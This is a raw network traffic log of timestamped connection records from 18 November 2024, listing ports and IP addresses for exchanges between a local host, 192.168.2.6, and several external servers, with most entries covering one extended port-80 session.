Nov 18, 2024 04:41:35.793195963 CET	443	49909	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.796142101 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.796175957 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.796355963 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.796554089 CET	49920	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.796571970 CET	443	49920	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.811974049 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.843899012 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.843913078 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.845717907 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.845722914 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.854543924 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.855047941 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.855120897 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.855964899 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.855977058 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.950643063 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.950659990 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.950716972 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.950752974 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.950793982 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.952442884 CET	49904	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:35.952454090 CET	443	49904	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:35.975230932 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.975404024 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.975860119 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.985341072 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.985405922 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.985466957 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.992249012 CET	49913	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.992259026 CET	443	49913	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:35.995234966 CET	49914	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:35.995254993 CET	443	49914	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.028428078 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.028461933 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.028625965 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.028899908 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.028922081 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.029066086 CET	49921	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.029078960 CET	443	49921	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.029103994 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.029448986 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:36.029459953 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:36.054739952 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:36.054770947 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:36.054950953 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:36.055124998 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:36.055145025 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:36.064259052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064301968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064317942 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064364910 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064404011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064448118 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064459085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064470053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064500093 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064521074 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064541101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064553976 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064565897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064579010 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064590931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064599037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064604044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064667940 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064697027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064707994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064733982 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064745903 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064755917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064758062 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064774990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064817905 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064860106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064871073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064882040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.064909935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.064934015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065005064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065017939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065030098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065069914 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065082073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065094948 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065094948 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065109015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065115929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065128088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065150976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065196037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065217972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065229893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065251112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065258980 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065275908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065299034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065311909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065323114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065334082 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065335035 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065350056 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065390110 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065395117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065404892 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065427065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065434933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065454006 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065479994 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065643072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065670967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065682888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065687895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065711975 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065717936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065728903 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065754890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065856934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065870047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065895081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065901041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065907955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065922022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065932989 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065943956 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.065963984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.065992117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.066028118 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.066034079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.066045046 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.066056967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.066076040 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.066099882 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.066111088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.066123962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.066164970 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.068171024 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.068206072 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.068305969 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.068877935 CET	49924	443	192.168.2.6	20.125.209.212
Nov 18, 2024 04:41:36.068893909 CET	443	49924	20.125.209.212	192.168.2.6
Nov 18, 2024 04:41:36.144850016 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:36.144893885 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:36.145116091 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:36.145787001 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:36.145798922 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:36.178504944 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:36.178553104 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:36.178697109 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:36.178816080 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:36.178826094 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:36.183079958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183104038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183116913 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183166027 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183192968 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183222055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183240891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183254957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183264017 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183268070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183322906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183331966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183336020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183347940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183379889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183389902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183399916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183402061 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183435917 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183470011 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183482885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183494091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183515072 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183540106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183548927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183577061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183583021 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183592081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183605909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183614969 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183636904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183671951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183681965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183692932 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183698893 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183747053 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183783054 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183808088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183826923 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183860064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183886051 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183896065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183906078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183918953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183929920 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183944941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183957100 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183967113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.183969975 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.183991909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184022903 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184072018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184082031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184092999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184106112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184118032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184124947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184133053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184171915 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184200048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184215069 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184250116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184282064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184294939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184304953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184318066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184338093 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184350967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184365034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184381962 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184390068 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184412003 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184427023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184452057 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184535980 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184547901 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184559107 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184570074 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184580088 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184581995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184592009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184602976 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184613943 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184619904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184626102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184662104 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184698105 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184869051 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184880018 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184895039 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184910059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184921026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184938908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184946060 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184952974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184963942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184976101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184984922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.184984922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.184998035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185009956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185025930 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185064077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185161114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185173035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185185909 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185199022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185201883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185211897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185250044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185272932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185283899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185295105 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185306072 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185328007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185332060 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185340881 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185353041 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185365915 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185369015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185394049 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185415030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185503960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185549021 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185606956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185620070 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185630083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185642004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185648918 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185661077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185674906 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185695887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185709000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185709953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185720921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185734034 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185744047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185745955 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185756922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185766935 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185770988 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185779095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185792923 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.185798883 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185818911 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.185854912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304141045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304203987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304215908 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304229021 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304245949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304270983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304276943 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304285049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304296017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304326057 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304414988 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304436922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304449081 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304461002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304471970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304485083 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304491043 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304497957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304533958 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304549932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304697990 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304709911 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304722071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304733038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304742098 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304744959 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304761887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304765940 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304802895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.304975986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.304987907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305018902 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305031061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305032969 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305058956 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305062056 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305085897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305100918 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305107117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305140018 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:36.305350065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305361986 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:36.305372953 CET	80	49833	185.215.113.206	192.168.2.6
